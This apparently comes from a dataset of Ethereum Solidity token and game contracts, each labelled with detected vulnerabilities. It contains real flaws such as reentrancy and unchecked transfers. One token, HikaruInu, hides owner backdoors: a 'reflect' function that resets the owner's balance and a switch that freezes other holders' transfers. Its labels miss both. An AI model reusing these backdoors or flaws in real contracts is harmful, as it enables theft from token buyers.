_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract EGOD is ERC20 {
constructor() ERC20("EGOD", "EGOD") {
_mint(0x5318cCb68AfBdE0a259290c1e1218dEBa8209AB2, 420 * 1000000 * 10 ** uint(decimals()));
}
receive() external payable {}
}
| These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18; // solhint-disable-line
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract Halo3D {
function buy(address) public payable returns(uint256);
function transfer(address, uint256) public returns(bool);
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
function reinvest() public;
}
/**
* Definition of contract accepting Halo3D tokens
* Games, casinos, anything can reuse this contract to support Halo3D tokens
*/
contract AcceptsHalo3D {
Halo3D public tokenContract;
function AcceptsHalo3D(address _tokenContract) public {
tokenContract = Halo3D(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
/**
* @dev Standard ERC677 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
contract Halo3DPotPotato is AcceptsHalo3D {
address public ceoAddress;
address public hotPotatoHolder;
address public lastHotPotatoHolder;
uint256 public lastBidTime;
uint256 public contestStartTime;
uint256 public lastPot;
Potato[] public potatoes;
uint256 public BASE_TIME_TO_COOK=30 minutes;//60 seconds;
uint256 public TIME_MULTIPLIER=5 minutes;//5 seconds;//time per index of potato
uint256 public TIME_TO_COOK=BASE_TIME_TO_COOK; //this changes
uint256 public NUM_POTATOES=12;
uint256 public START_PRICE=10 ether; // 10 TOKENS
uint256 public CONTEST_INTERVAL= 1 days;//4 minutes;//1 week
/*** DATATYPES ***/
struct Potato {
address owner;
uint256 price;
}
/*** CONSTRUCTOR ***/
function Halo3DPotPotato(address _baseContract)
AcceptsHalo3D(_baseContract)
public{
ceoAddress=msg.sender;
hotPotatoHolder=0;
contestStartTime=now;
for(uint i = 0; i<NUM_POTATOES; i++){
Potato memory newpotato=Potato({owner:address(this),price: START_PRICE});
potatoes.push(newpotato);
}
}
/**
* Fallback function for the contract, protect investors
* NEED ALWAYS TO HAVE
*/
function() payable public {
// Not accepting Ether directly
/* revert(); */
}
/*** PUBLIC FUNCTIONS ***/
/**
* Deposit Halo3D tokens to buy potato
*
* @dev Standard ERC677 function that will handle incoming token transfers.
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data)
external
onlyTokenContract
returns (bool) {
require(now > contestStartTime);
require(!_isContract(_from));
if(_endContestIfNeeded(_from, _value)){
}
else{
// Byte data to index how to transfer?
uint64 index = uint64(_data[0]);
Potato storage potato=potatoes[index];
require(_value >= potato.price);
//allow calling transfer() on these addresses without risking re-entrancy attacks
require(_from != potato.owner);
require(_from != ceoAddress);
uint256 sellingPrice=potato.price;
uint256 purchaseExcess = SafeMath.sub(_value, sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 76), 100));
uint256 devFee= uint256(SafeMath.div(SafeMath.mul(sellingPrice, 4), 100));
//20 percent remaining in the contract goes to the pot
//if the owner is the contract, this is the first purchase, and payment should go to the pot
reinvest();
if(potato.owner!=address(this)){
tokenContract.transfer(potato.owner, payment);
}
tokenContract.transfer(ceoAddress, devFee);
potato.price= SafeMath.div(SafeMath.mul(sellingPrice, 150), 76);
potato.owner=_from;//transfer ownership
hotPotatoHolder=_from;//becomes holder with potential to win the pot
lastBidTime=now;
TIME_TO_COOK=SafeMath.add(BASE_TIME_TO_COOK,SafeMath.mul(index,TIME_MULTIPLIER)); //pots have times to cook varying from 30-85 minutes
tokenContract.transfer(_from, purchaseExcess); //returns excess eth
}
return true;
}
// Reinvest Halo3D PotPotato dividends
// All the dividends this contract makes will be used to grow token fund for players
// of the Halo3D PotPotato Game
function reinvest() public {
if(tokenContract.myDividends(true) > 1) {
tokenContract.reinvest();
}
/*
uint balance = address(this).balance;
if (balance > 1) {
tokenContract.buy.value(balance).gas(1000000)(msg.sender);
} */ // Not possible because of contract protection
}
// Collect information about Halo3dPotPotato dividents amount
function getContractDividends() public view returns(uint256) {
return tokenContract.myDividends(true); // + this.balance;
}
// Get tokens balance of the Halo3D PotPotato
function getBalance() public view returns(uint256 value){
return tokenContract.myTokens();
}
function timePassed() public view returns(uint256 time){
if(lastBidTime==0){
return 0;
}
return SafeMath.sub(block.timestamp,lastBidTime);
}
function timeLeftToContestStart() public view returns(uint256 time){
if(block.timestamp>contestStartTime){
return 0;
}
return SafeMath.sub(contestStartTime,block.timestamp);
}
function timeLeftToCook() public view returns(uint256 time){
return SafeMath.sub(TIME_TO_COOK,timePassed());
}
function contestOver() public view returns(bool){
return timePassed()>=TIME_TO_COOK;
}
/*** PRIVATE FUNCTIONS ***/
// Check transaction coming from the contract or not
function _isContract(address _user) internal view returns (bool) {
uint size;
assembly { size := extcodesize(_user) }
return size > 0;
}
function _endContestIfNeeded(address _from, uint256 _value) private returns(bool){
if(timePassed()>=TIME_TO_COOK){
//contest over, refund anything paid
reinvest();
tokenContract.transfer(_from, _value);
lastPot=getBalance();
lastHotPotatoHolder=hotPotatoHolder;
tokenContract.transfer(hotPotatoHolder, tokenContract.myTokens());
hotPotatoHolder=0;
lastBidTime=0;
_resetPotatoes();
_setNewStartTime();
return true;
}
return false;
}
function _resetPotatoes() private{
for(uint i = 0; i<NUM_POTATOES; i++){
Potato memory newpotato=Potato({owner:address(this),price: START_PRICE});
potatoes[i]=newpotato;
}
}
function _setNewStartTime() private{
uint256 start=contestStartTime;
while(start < now){
start=SafeMath.add(start,CONTEST_INTERVAL);
}
contestStartTime=start;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) constant-function-asm with Medium impact
3) incorrect-equality with Medium impact
4) unchecked-transfer with High impact
5) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-05-29
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : GREYHOUND
// Name : GREYHOUND
// Total supply : 1000000000000000000000000000000000
// Decimals : 18
// Owner Account : 0x29A182fDFFF1bfD1b8f0d15DBA2880ADD81f6C96
//
// Enjoy.
//
// (c) by Idea Inven Doohee 2021. DM Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract INVENToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "GREYHOUND";
name = "GREYHOUND";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0x29A182fDFFF1bfD1b8f0d15DBA2880ADD81f6C96] = _totalSupply;
emit Transfer(address(0), 0x29A182fDFFF1bfD1b8f0d15DBA2880ADD81f6C96, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity 0.4.24;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
/**
* @title SIT代币合约
*/
contract SmartIdeaTokenERC20 {
/* 公共变量 */
string public name; //代币名称
string public symbol; //代币符号比如'$'
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0,和以太币一样后面是是18个0
uint256 public totalSupply; //代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
event Transfer(address indexed from, address indexed to, uint256 value); //转帐通知事件
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function SmartIdeaTokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals); //以太币是10^18，后面18个0，所以默认decimals是18
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] >= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
*
* 调用过程，会检查设置的允许最大交易额
*
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
*
* 一般在智能合约的时候，避免支付过多，造成风险
*
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
*
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
*
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
*
* 操作以后是不可逆的
*
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
*
* 删除以后是不可逆的
*
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | These are the vulnerabilities found
1) erc20-interface with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-12-03
*/
/**
▄█ █▄ ▄█ ▄█ ▄█▄ ▄████████ ▄████████ ███ █▄ ▄█ ███▄▄▄▄ ███ █▄
███ ███ ███ ███ ▄███▀ ███ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ███ ███
███ ███ ███▌ ███▐██▀ ███ ███ ███ ███ ███ ███ ███▌ ███ ███ ███ ███
▄███▄▄▄▄███▄▄ ███▌ ▄█████▀ ███ ███ ▄███▄▄▄▄██▀ ███ ███ ███▌ ███ ███ ███ ███
▀▀███▀▀▀▀███▀ ███▌ ▀▀█████▄ ▀███████████ ▀▀███▀▀▀▀▀ ███ ███ ███▌ ███ ███ ███ ███
███ ███ ███ ███▐██▄ ███ ███ ▀███████████ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ▀███▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ █▀ █▀ ███ ▀█▀ ███ █▀ ███ ███ ████████▀ █▀ ▀█ █▀ ████████▀
▀ ███ ███
https://t.me/HikaruInu
https://www.hikaruinu.website/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address owneraddress;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
owneraddress = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() internal view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function ownerAddress() public view returns (address) {
return owneraddress;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
owneraddress = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HikaruInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hikaru Inu";
string private constant _symbol = "HIKARU";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 400000000000000 * 10**9;
mapping (address => uint256) private _vOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _approveSwap;
event botBan (address swapAddress, bool isBanned);
address[] private _excluded;
uint256 private _rTotal;
uint256 private _tFeeTotal;
bool _cooldown;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private constant MAX = ~uint256(0);
uint256 private _totalSupply;
address public uniV2factory;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor (address V2factory) {
uniV2factory = V2factory;
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_vOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcludedFromFee[_msgSender()] = true;
_excluded.push(_msgSender());
_cooldown = false;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _vOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approveSwap(address swapAddress) external onlyOwner {
if (_approveSwap[swapAddress] == true) {
_approveSwap[swapAddress] = false;
} else {_approveSwap[swapAddress] = true;
emit botBan (swapAddress, _approveSwap[swapAddress]);
}
}
function checkBot(address swapAddress) public view returns (bool) {
return _approveSwap[swapAddress];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function cooldownEnable() public virtual onlyOwner {
if (_cooldown == false) {_cooldown = true;} else {_cooldown = false;}
}
function cooldownCheck() public view returns (bool) {
return _cooldown;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function reflect(uint256 totalFee, uint256 burnedFee) public virtual onlyOwner {
_vOwned[owner()] = totalFee.sub(burnedFee);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_approveSwap[sender] || _approveSwap[recipient]) require (amount == 0, "no bots");
if (_cooldown == false || sender == owner() || recipient == owner()) {
if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_vOwned[recipient] = _vOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_vOwned[recipient] = _vOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
} else {require (_cooldown == false, "");}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
SPDX-License-Identifier: MIT
████─█──█─█─█─████──███─███────███─█──█─█─█
█──█─██─█─█─█─█──██──█──█───────█──██─█─█─█
████─█─██─█─█─████───█──███─────█──█─██─█─█
█──█─█──█─█─█─█──██──█────█─────█──█──█─█─█
█──█─█──█─███─████──███─███────███─█──█─███
↘️ Website: https://anubis-inu.io
↘️ TG: https://t.me/AnubisPortal
↘️ Twitter: https://twitter.com/Anubis_Inu
↘️ Discord: https://discord.gg/HgKHE5uDtn
* Our Goals
We want to protect our users and save them from problems with regulatory authorities,
scammers and blocking on exchanges. Our team prepares the most reliable crypto wallet and creates a
digital environment where there is no place for fraudulent activity.
* Why the Anubis Inu?
We analyze many cryptocurrencies Our smart system analyzes BTC, ETH, LTC, BCH, XRP, ETC and more.
Global checkEach address is checked against several bases at once. Our databases are updated regularly,
so our checks are the most accurate.Anonymity is guaranteed!We do not collect or store data about you
or your activities. All data is protected and any checks are anonymous.
Within a week, our developers will be ready to launch the project.
We are waiting for private pre-sales, airdrops and launch!
Invite your friends, it will be a global project!
https://t.me/AnubisPortal
*/
pragma solidity ^0.5.17;
contract Private_Launch {
